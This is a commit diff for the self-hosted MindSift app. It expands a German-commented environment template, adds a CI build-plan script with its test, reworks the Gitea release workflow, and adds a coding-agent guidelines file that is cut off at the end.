Compare commits
No files matched your search
@@ -1,19 +1,151 @@
|
|||||||
# MindSift Environment Configuration
|
# MindSift – Einstellungen
|
||||||
PORT=8080
|
# Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
|
||||||
DATA_DIR=/data
|
# Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
|
||||||
DATABASE_URL=sqlite:///data/mindsift.db
|
|
||||||
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
|
|
||||||
BASE_URL=http://localhost:8080
|
|
||||||
ALLOW_REGISTRATION=false
|
|
||||||
# Logging level: debug, info, warn, error (Default: info)
|
|
||||||
LOG_LEVEL=info
|
|
||||||
# LOG_LEVEL=debug
|
|
||||||
# DEBUG=true
|
|
||||||
|
|
||||||
# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI)
|
# ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
|
||||||
|
PORT=8080
|
||||||
|
|
||||||
|
# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
|
||||||
|
# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab.
|
||||||
|
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
|
||||||
|
|
||||||
|
# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
|
||||||
|
# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
|
||||||
|
BASE_URL=http://localhost:8080
|
||||||
|
|
||||||
|
# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
|
||||||
|
TZ=Europe/Berlin
|
||||||
|
|
||||||
|
# Registrierung ohne Einladung. Ohne Angabe entscheidet Administration → Server & Isolation.
|
||||||
|
# Gesetzt ist es dort gesperrt:
|
||||||
|
# closed nur mit Einladung
|
||||||
|
# approval jeder darf sich registrieren, ein Admin schaltet frei
|
||||||
|
# domain nur E-Mail-Adressen aus REGISTRATION_DOMAINS, sofort aktiv
|
||||||
|
# domain+approval diese Endungen sofort, alle anderen nach Freigabe
|
||||||
|
# open jeder, sofort aktiv
|
||||||
|
# REGISTRATION_MODE=approval
|
||||||
|
# REGISTRATION_DOMAINS=firma.de, familie.de
|
||||||
|
# Neue Konten ohne Einladung bestätigen zuerst ihre E-Mail-Adresse per Link (braucht SMTP und BASE_URL):
|
||||||
|
# REGISTRATION_VERIFY_EMAIL=true
|
||||||
|
# Alt: true entspricht REGISTRATION_MODE=open; false lässt die Wahl dem Admin.
|
||||||
|
ALLOW_REGISTRATION=false
|
||||||
|
|
||||||
|
# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
|
||||||
|
# Login-Sperre hinter einem Reverse-Proxy.
|
||||||
|
# private Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
|
||||||
|
# none keinem Proxy glauben (MindSift direkt im Internet)
|
||||||
|
# all jedem glauben (schaltet die Prüfung ab)
|
||||||
|
# Liste zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
|
||||||
|
TRUSTED_PROXIES=private
|
||||||
|
|
||||||
|
# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
|
||||||
|
# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
|
||||||
|
LOGIN_PROTECTION=true
|
||||||
|
|
||||||
|
# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
|
||||||
|
LOG_LEVEL=info
|
||||||
|
# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
|
||||||
|
DEBUG=false
|
||||||
|
|
||||||
|
# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
|
||||||
|
# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
|
||||||
|
MINDA_DEMO=false
|
||||||
|
# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
|
||||||
|
DEMO_RESET_MINUTES=20
|
||||||
|
|
||||||
|
# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
|
||||||
|
# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
|
||||||
|
# Werte dort haben Vorrang.
|
||||||
|
|
||||||
|
# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
|
||||||
SMTP_HOST=
|
SMTP_HOST=
|
||||||
|
# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
|
||||||
SMTP_PORT=587
|
SMTP_PORT=587
|
||||||
|
# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
|
||||||
SMTP_USER=
|
SMTP_USER=
|
||||||
SMTP_PASS=
|
SMTP_PASS=
|
||||||
SMTP_FROM=noreply@mindsift.local
|
# Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
|
||||||
|
SMTP_FROM=
|
||||||
|
# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
|
||||||
|
# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
|
||||||
|
SMTP_FROM_NAME=MindSift
|
||||||
|
# Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele
|
||||||
|
# Minuten als eine Nachricht verschickt. Fällige Aufgaben kommen immer sofort.
|
||||||
|
NOTIFY_DIGEST_MINUTES=5
|
||||||
|
# true = nur verschlüsselt senden.
|
||||||
SMTP_TLS=true
|
SMTP_TLS=true
|
||||||
|
# true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
|
||||||
|
SMTP_SKIP_VERIFY=false
|
||||||
|
|
||||||
|
# Web-Push (Benachrichtigungen auf Handy und Desktop, auch bei geschlossener App).
|
||||||
|
# Ohne Angabe erzeugt MindSift beim ersten Bedarf ein Schlüsselpaar und speichert es in der Datenbank.
|
||||||
|
# VAPID_SUBJECT: Kontakt für die Push-Dienste (mailto: oder https://); Standard ist BASE_URL, wenn https.
|
||||||
|
# VAPID_PUBLIC_KEY=
|
||||||
|
# VAPID_PRIVATE_KEY=
|
||||||
|
# VAPID_SUBJECT=mailto:admin@example.com
|
||||||
|
|
||||||
|
# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
|
||||||
|
# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
|
||||||
|
# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
|
||||||
|
# Ohne Angaben bleiben die Links unsichtbar.
|
||||||
|
LEGAL_IMPRINT_URL=
|
||||||
|
LEGAL_PRIVACY_URL=
|
||||||
|
LEGAL_IMPRINT_CONTENT=
|
||||||
|
LEGAL_PRIVACY_CONTENT=
|
||||||
|
# Pfad im Container, z. B. /legal/impressum.md
|
||||||
|
LEGAL_IMPRINT_CONTENT_FILE=
|
||||||
|
LEGAL_PRIVACY_CONTENT_FILE=
|
||||||
|
# Eigener Link im Footer (nur https://)
|
||||||
|
LEGAL_CUSTOM_LINK_LABEL=
|
||||||
|
LEGAL_CUSTOM_LINK_URL=
|
||||||
|
|
||||||
|
# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
|
||||||
|
# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
|
||||||
|
# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
|
||||||
|
|
||||||
|
# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
|
||||||
|
MEDIA_MAX_IMAGE_MB=15
|
||||||
|
# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
|
||||||
|
MEDIA_MAX_AUDIO_MB=50
|
||||||
|
# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
|
||||||
|
MEDIA_QUOTA_MB=0
|
||||||
|
# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
|
||||||
|
MEDIA_DEMO_MAX_MB=3
|
||||||
|
|
||||||
|
# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
|
||||||
|
# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
|
||||||
|
# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
|
||||||
|
# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
|
||||||
|
# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
|
||||||
|
|
||||||
|
# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
|
||||||
|
STT_URL=
|
||||||
|
# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
|
||||||
|
# Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
|
||||||
|
STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
|
||||||
|
# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
|
||||||
|
STT_LANGUAGE=de
|
||||||
|
# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
|
||||||
|
STT_API_KEY=
|
||||||
|
# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
|
||||||
|
STT_DISABLED=false
|
||||||
|
|
||||||
|
# Schutzwerte für den Server-Modus
|
||||||
|
# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
|
||||||
|
STT_MAX_SECONDS=600
|
||||||
|
# Größte Aufnahme in MB.
|
||||||
|
STT_MAX_UPLOAD_MB=25
|
||||||
|
# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
|
||||||
|
STT_MAX_PARALLEL=1
|
||||||
|
# Erkennungen pro Person und Stunde.
|
||||||
|
STT_PER_USER_PER_HOUR=60
|
||||||
|
# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
|
||||||
|
STT_TIMEOUT_SECONDS=120
|
||||||
@@ -0,0 +1,91 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Decides per CI run: build with tests, build without tests, or only retag an existing image.
|
||||||
|
# Tests run once per code state: the images carry the git tree and commit as labels
|
||||||
|
# (io.mindsift.tree, org.opencontainers.image.revision), so no extra image tags are needed.
|
||||||
|
# dev -> build and test, tag :dev
|
||||||
|
# main -> build :latest; tests are skipped when :dev was built from the same tree
|
||||||
|
# v* -> retag :latest when it was built from this commit, else build (tests skipped when
|
||||||
|
# :dev or :latest has the same tree); :stable only for releases without "-"
|
||||||
|
# Inputs (environment): REF, COMMIT (default HEAD), IMAGE, PKG_VERSION (default from package.json),
|
||||||
|
# LABEL_CMD (prints a label of a remote image: LABEL_CMD <image> <label>; for tests)
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
REF="${REF:-}"
|
||||||
|
COMMIT="${COMMIT:-HEAD}"
|
||||||
|
IMAGE="${IMAGE:-}"
|
||||||
|
PKG_VERSION="${PKG_VERSION:-}"
|
||||||
|
if [ -z "${PKG_VERSION}" ] && [ -f frontend/package.json ]; then
|
||||||
|
PKG_VERSION="$(sed -nE 's/^ "version": "([^"]+)".*/\1/p' frontend/package.json | head -n1)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
SHA="$(git rev-parse "${COMMIT}^{commit}")"
|
||||||
|
TREE="$(git rev-parse "${COMMIT}^{tree}")"
|
||||||
|
|
||||||
|
# Label of an image in the registry ("" when the image or label does not exist)
|
||||||
|
image_label() {
|
||||||
|
if [ -n "${LABEL_CMD:-}" ]; then
|
||||||
|
${LABEL_CMD} "$1" "$2" 2>/dev/null || true
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
docker pull -q "$1" >/dev/null 2>&1 || return 0
|
||||||
|
docker inspect -f "{{ index .Config.Labels \"$2\" }}" "$1" 2>/dev/null | sed 's/^<no value>$//' || true
|
||||||
|
}
|
||||||
|
|
||||||
|
ACTION="build"
|
||||||
|
SKIP_TESTS="0"
|
||||||
|
APP_VERSION=""
|
||||||
|
TAGS=""
|
||||||
|
SOURCE_IMAGE=""
|
||||||
|
REASON=""
|
||||||
|
|
||||||
|
case "${REF}" in
|
||||||
|
refs/heads/dev)
|
||||||
|
TAGS="dev"
|
||||||
|
REASON="dev: build with all tests"
|
||||||
|
;;
|
||||||
|
refs/heads/main)
|
||||||
|
TAGS="latest"
|
||||||
|
APP_VERSION="v${PKG_VERSION}"
|
||||||
|
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ]; then
|
||||||
|
SKIP_TESTS="1"
|
||||||
|
REASON="main: same code as the tested :dev image, tests skipped"
|
||||||
|
else
|
||||||
|
REASON="main: code not tested as :dev yet, build with all tests"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
refs/tags/v*)
|
||||||
|
TAG_NAME="${REF#refs/tags/}"
|
||||||
|
TAGS="${TAG_NAME}"
|
||||||
|
case "${TAG_NAME}" in *-*) ;; *) TAGS="${TAG_NAME} stable" ;; esac
|
||||||
|
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:latest" org.opencontainers.image.revision)" = "${SHA}" ]; then
|
||||||
|
ACTION="retag"
|
||||||
|
SOURCE_IMAGE="${IMAGE}:latest"
|
||||||
|
SKIP_TESTS="1"
|
||||||
|
REASON="tag ${TAG_NAME}: :latest was built from this commit, retag without building"
|
||||||
|
else
|
||||||
|
APP_VERSION="${TAG_NAME}"
|
||||||
|
if [ -n "${IMAGE}" ] && { [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ] ||
|
||||||
|
[ "$(image_label "${IMAGE}:latest" io.mindsift.tree)" = "${TREE}" ]; }; then
|
||||||
|
SKIP_TESTS="1"
|
||||||
|
REASON="tag ${TAG_NAME}: code already tested, build without tests"
|
||||||
|
else
|
||||||
|
REASON="tag ${TAG_NAME}: build with all tests"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
TAGS="$(echo "${REF#refs/heads/}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')"
|
||||||
|
REASON="branch ${REF}: build with all tests"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
{
|
||||||
|
echo "action=${ACTION}"
|
||||||
|
echo "skip_tests=${SKIP_TESTS}"
|
||||||
|
echo "app_version=${APP_VERSION}"
|
||||||
|
echo "tags=${TAGS}"
|
||||||
|
echo "source_image=${SOURCE_IMAGE}"
|
||||||
|
echo "sha=${SHA}"
|
||||||
|
echo "tree=${TREE}"
|
||||||
|
echo "reason=${REASON}"
|
||||||
|
} | tee -a "${GITHUB_OUTPUT:-/dev/null}"
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Checks build-plan.sh against a fake registry (labels given per case). Usage: .gitea/scripts/test-build-plan.sh
|
||||||
|
set -euo pipefail
|
||||||
|
cd "$(git rev-parse --show-toplevel)"
|
||||||
|
PLAN=.gitea/scripts/build-plan.sh
|
||||||
|
IMAGE=registry.example/mindsift
|
||||||
|
SHA="$(git rev-parse HEAD)"
|
||||||
|
TREE="$(git rev-parse HEAD^{tree})"
|
||||||
|
MOCK="$(mktemp)"
|
||||||
|
trap 'rm -f "$MOCK"' EXIT
|
||||||
|
# The fake registry answers from $DEV_TREE, $LATEST_TREE and $LATEST_SHA
|
||||||
|
cat >"$MOCK" <<'EOF'
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
case "$1 $2" in
|
||||||
|
*:dev\ io.mindsift.tree) echo "${DEV_TREE:-}" ;;
|
||||||
|
*:latest\ io.mindsift.tree) echo "${LATEST_TREE:-}" ;;
|
||||||
|
*:latest\ org.opencontainers.image.revision) echo "${LATEST_SHA:-}" ;;
|
||||||
|
esac
|
||||||
|
EOF
|
||||||
|
chmod +x "$MOCK"
|
||||||
|
|
||||||
|
fails=0
|
||||||
|
expect() { # name, REF, expected "action skip_tests tags", env assignments…
|
||||||
|
local name="$1" ref="$2" want="$3"
|
||||||
|
shift 3
|
||||||
|
local out
|
||||||
|
out="$(env "$@" REF="$ref" IMAGE="$IMAGE" PKG_VERSION=0.10.0 LABEL_CMD="$MOCK" GITHUB_OUTPUT= "$PLAN")"
|
||||||
|
local got
|
||||||
|
got="$(echo "$out" | sed -n 's/^action=//p') $(echo "$out" | sed -n 's/^skip_tests=//p') $(echo "$out" | sed -n 's/^tags=//p')"
|
||||||
|
if [ "$got" = "$want" ]; then
|
||||||
|
echo "OK $name: $got"
|
||||||
|
else
|
||||||
|
echo "FEHL $name: erwartet '$want', bekommen '$got'"
|
||||||
|
fails=$((fails + 1))
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
expect "dev baut mit Tests" refs/heads/dev "build 0 dev"
|
||||||
|
expect "main nach getestetem dev" refs/heads/main "build 1 latest" DEV_TREE="$TREE"
|
||||||
|
expect "main mit anderem Stand" refs/heads/main "build 0 latest" DEV_TREE=0000
|
||||||
|
expect "Tag auf latest-Commit" refs/tags/v0.10.0 "retag 1 v0.10.0 stable" LATEST_SHA="$SHA" LATEST_TREE="$TREE"
|
||||||
|
expect "Tag, latest fehlt, dev getestet" refs/tags/v0.10.0 "build 1 v0.10.0 stable" DEV_TREE="$TREE"
|
||||||
|
expect "Tag auf unbekanntem Stand" refs/tags/v0.10.0 "build 0 v0.10.0 stable"
|
||||||
|
expect "Vorabversion ohne stable" refs/tags/v0.11.0-rc.1 "retag 1 v0.11.0-rc.1" LATEST_SHA="$SHA"
|
||||||
|
expect "Feature-Branch" refs/heads/feat/x "build 0 feat-x"
|
||||||
|
|
||||||
|
if [ "$fails" -gt 0 ]; then
|
||||||
|
echo "$fails FEHLGESCHLAGEN"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "ALLE FÄLLE BESTANDEN"
|
||||||
@@ -1,49 +1,39 @@
|
|||||||
name: MindSift CI & Docker Release
|
name: MindSift CI & Docker Release
|
||||||
|
|
||||||
|
# Image tags:
|
||||||
|
# push to dev -> :dev
|
||||||
|
# push/merge main -> :latest
|
||||||
|
# git tag v1.2.0 -> :v1.2.0 and :stable
|
||||||
|
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
|
||||||
|
# Tests run once per code state (.gitea/scripts/build-plan.sh): main skips them when :dev was built
|
||||||
|
# from the same code, a tag on the commit of :latest only retags it. The images carry commit and git
|
||||||
|
# tree as labels for this, so no extra tags end up in the registry.
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
branches-ignore:
|
branches:
|
||||||
|
- dev
|
||||||
- main
|
- main
|
||||||
tags:
|
tags:
|
||||||
- '*'
|
- 'v*'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build-test-push:
|
build-test-push:
|
||||||
name: Build, Test in Container & Push
|
name: Build, Test in Container & Push
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
if: github.ref != 'refs/heads/main'
|
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout Code
|
- name: Checkout Code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Determine Registry & Docker Tag
|
- name: Determine Registry & Image
|
||||||
id: prep
|
id: prep
|
||||||
run: |
|
run: |
|
||||||
SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}"
|
SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}"
|
||||||
REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##')
|
REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##')
|
||||||
if [ -z "${REGISTRY_HOST}" ]; then
|
[ -z "${REGISTRY_HOST}" ] && REGISTRY_HOST="git.dsit.me"
|
||||||
REGISTRY_HOST="git.dsit.me"
|
|
||||||
fi
|
|
||||||
|
|
||||||
REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}"
|
REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}"
|
||||||
IMAGE_NAME=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')
|
|
||||||
REF_NAME="${GITHUB_REF_NAME:-latest}"
|
|
||||||
ACTOR_NAME="${GITHUB_ACTOR:-sandrodach}"
|
|
||||||
|
|
||||||
# Ersetze evtl. Slashes in Branch-Namen (z.B. rc/1.1 -> rc-1.1) für valide Docker-Tags
|
|
||||||
DOCKER_TAG=$(echo "${REF_NAME}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')
|
|
||||||
|
|
||||||
echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT"
|
echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT"
|
||||||
echo "image=${IMAGE_NAME}" >> "$GITHUB_OUTPUT"
|
echo "image=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
|
||||||
echo "tag=${DOCKER_TAG}" >> "$GITHUB_OUTPUT"
|
echo "actor=${GITHUB_ACTOR:-sandrodach}" >> "$GITHUB_OUTPUT"
|
||||||
echo "actor=${ACTOR_NAME}" >> "$GITHUB_OUTPUT"
|
|
||||||
# Releases (tags) show the tag as version in the app header
|
|
||||||
APP_VERSION=""
|
|
||||||
case "${GITHUB_REF:-}" in
|
|
||||||
refs/tags/*) APP_VERSION="${REF_NAME}" ;;
|
|
||||||
esac
|
|
||||||
echo "app_version=${APP_VERSION}" >> "$GITHUB_OUTPUT"
|
|
||||||
echo "Target Docker image: ${IMAGE_NAME}:${DOCKER_TAG} (Registry: ${REGISTRY_HOST}, Actor: ${ACTOR_NAME})"
|
|
||||||
|
|
||||||
- name: Login to Gitea Container Registry
|
- name: Login to Gitea Container Registry
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v3
|
||||||
@@ -52,10 +42,30 @@ jobs:
|
|||||||
username: ${{ steps.prep.outputs.actor }}
|
username: ${{ steps.prep.outputs.actor }}
|
||||||
password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }}
|
password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }}
|
||||||
|
|
||||||
- name: Build & Run All Checks in Container, then Push
|
- name: Build Plan
|
||||||
|
id: plan
|
||||||
|
run: REF="${GITHUB_REF:-}" COMMIT="${GITHUB_SHA:-HEAD}" IMAGE="${{ steps.prep.outputs.image }}" .gitea/scripts/build-plan.sh
|
||||||
|
|
||||||
|
- name: Build (with or without tests) or Retag, then Push
|
||||||
run: |
|
run: |
|
||||||
FULL_IMAGE="${{ steps.prep.outputs.image }}:${{ steps.prep.outputs.tag }}"
|
IMAGE="${{ steps.prep.outputs.image }}"
|
||||||
echo "🚀 Building container & executing Frontend/Backend checks inside image: ${FULL_IMAGE}"
|
TAGS="${{ steps.plan.outputs.tags }}"
|
||||||
DOCKER_BUILDKIT=1 docker build --progress=plain --build-arg APP_VERSION="${{ steps.prep.outputs.app_version }}" -t "${FULL_IMAGE}" .
|
echo "ℹ️ ${{ steps.plan.outputs.reason }}"
|
||||||
echo "✅ All checks & tests passed inside container! Pushing ${FULL_IMAGE}..."
|
if [ "${{ steps.plan.outputs.action }}" = "retag" ]; then
|
||||||
docker push "${FULL_IMAGE}"
|
SOURCE="${{ steps.plan.outputs.source_image }}"
|
||||||
|
docker pull "${SOURCE}"
|
||||||
|
for t in ${TAGS}; do
|
||||||
|
docker tag "${SOURCE}" "${IMAGE}:${t}"
|
||||||
|
docker push "${IMAGE}:${t}"
|
||||||
|
done
|
||||||
|
else
|
||||||
|
TAG_ARGS=""
|
||||||
|
for t in ${TAGS}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
|
||||||
|
DOCKER_BUILDKIT=1 docker build --progress=plain \
|
||||||
|
--build-arg APP_VERSION="${{ steps.plan.outputs.app_version }}" \
|
||||||
|
--build-arg SKIP_TESTS="${{ steps.plan.outputs.skip_tests }}" \
|
||||||
|
--build-arg GIT_SHA="${{ steps.plan.outputs.sha }}" \
|
||||||
|
--build-arg GIT_TREE="${{ steps.plan.outputs.tree }}" \
|
||||||
|
${TAG_ARGS} .
|
||||||
|
for t in ${TAGS}; do docker push "${IMAGE}:${t}"; done
|
||||||
|
fi
|
||||||
@@ -18,3 +18,6 @@ dev-data/
|
|||||||
.idea/
|
.idea/
|
||||||
.vscode/
|
.vscode/
|
||||||
e2e/node_modules/
|
e2e/node_modules/
|
||||||
|
|
||||||
|
# Whisper models (docker compose service "whisper")
|
||||||
|
whisper/
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
# Hinweise für Coding-Agenten
|
||||||
|
|
||||||
|
Regeln für die Arbeit an MindSift, die nicht aus dem Code selbst hervorgehen. Aufbau und Technik stehen in [Doku/](Doku/README.md), vor allem [architecture.md](Doku/architecture.md).
|
||||||
|
|
||||||
|
## Sprache und Stil
|
||||||
|
|
||||||
|
- **Deutsch:** Oberflächentexte, Fehlermeldungen für Nutzer, E-Mails, `CHANGELOG.md`, `README.md`, `Doku/`.
|
||||||
|
- **Englisch:** Code-Kommentare und Commit-Nachrichten.
|
||||||
|
- **Commit-Nachrichten** im Stil `feat(bereich): …`, `fix(bereich): …`, `docs: …`, `style(bereich): …`. Am Ende die Zeile `Co-Authored-By: …` des jeweiligen Agenten.
|
||||||
|
- Neuer Code richtet sich nach dem umgebenden Code: Benennung, Kommentardichte, vorhandene Helfer statt neuer Varianten.
|
||||||
|
|
||||||
|
## Umgebung
|
||||||
|
|
||||||
|
Auf dem Entwicklungsrechner sind weder Node noch Go installiert. Alles läuft in Containern (podman):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Frontend: Typen, Lint, Tests
|
||||||
|
podman run --rm -v "$PWD/frontend":/app:Z -w /app docker.io/library/node:22-alpine \
|
||||||
|
sh -c "npx tsc --noEmit && npx eslint src/… && npx vitest run"
|
||||||
|
|
||||||
|
# Backend: vet und Tests
|
||||||
|
podman run --rm -v "$PWD":/src:Z -w /src docker.io/library/golang:1.24-alpine \
|
||||||
|
sh -c "go vet ./... && go test ./internal/..."
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Linter-Warnungen `react-hooks/exhaustive-deps` gibt es schon länger; neuer Code soll keine zusätzlichen Warnungen bringen.
|
||||||
|
|
||||||
|
## Prüfen während der Arbeit
|
||||||
|
|
||||||
|
- **Gezielt prüfen:** `tsc`, die betroffenen Frontend-Tests, `go vet` und `go test`. Den vollen Build macht nur der Server (siehe Release-Ablauf); ein kompletter `podman build .` vorher ist doppelte Arbeit.
|
||||||
|
- **Oberfläche im Browser ansehen**, besonders Handy-Ansichten: Image bauen, im Demo-Modus starten, mit Playwright aus dem `e2e/`-Ordner prüfen (Vorbild: `e2e/screenshots.sh`). Handy-Emulation mit `isMobile: true, hasTouch: true`; Finger-Gesten lassen sich über das Chrome DevTools Protocol (`Input.dispatchTouchEvent`) nachstellen.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
podman build -q -t mindsift-check .
|
||||||
|
podman run -d --rm --name ms-check --network host -e PORT=18555 -e MINDA_DEMO=true \
|
||||||
|
-e DEMO_RESET_MINUTES=0 -e JWT_SECRET=check-only mindsift-check
|
||||||
|
# Demo-Anmeldung: admin/admin bzw. user/user
|
||||||
|
```
|
||||||
|
- **Zeitabhängiger Code** (Alarme, Tageszusammenfassung, Begrüßungen, Termine): nie `time.Now()` dort, wo eine übergebene Zeit gemeint ist. Die betroffenen Go-Tests zusätzlich mit verschiedenen `TZ`-Werten laufen lassen (z. B. `Europe/Berlin`, `America/Los_Angeles`, `Asia/Tokyo`). Ein uhrzeitabhängiger Test hat schon einmal einen Release verhindert, weil er nur vormittags grün war.
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|
- Bilder in `screenshots/` (README) sind **WebP**, keine PNG: Desktop und Theme-Raster 1280 px breit, Handy 480 px, Qualität 90. Das bringt rund ein Fünftel der PNG-Größe bei sauberer Schrift.
|
||||||
|
- Erzeugt werden sie mit `e2e/screenshots.sh`; das Skript nimmt PNGs auf und wandelt sie am Ende mit `cwebp` (Alpine-Container) um. Einzelne Bilder neu aufnehmen: denselben Ablauf aus `screenshots.mjs` verwenden und mit dem Umwandlungsschritt aus `screenshots.sh` konvertieren.
|
||||||
|
- Chromiums eigenes WebP (`canvas.toDataURL('image/webp')`) nicht verwenden: verlustfrei wird es größer als die PNG.
|
||||||
|
|
||||||
|
## Release-Ablauf
|
||||||
|
|
||||||
|
**Committen** ist jederzeit erlaubt. **Jeder Push ist ein Release**, also mit Version und CHANGELOG-Eintrag.
|
||||||
|
|
||||||
|
1. **Version erhöhen** (SemVer: Fehlerbehebung → Patch, neue Funktion → Minor):
|
||||||
|
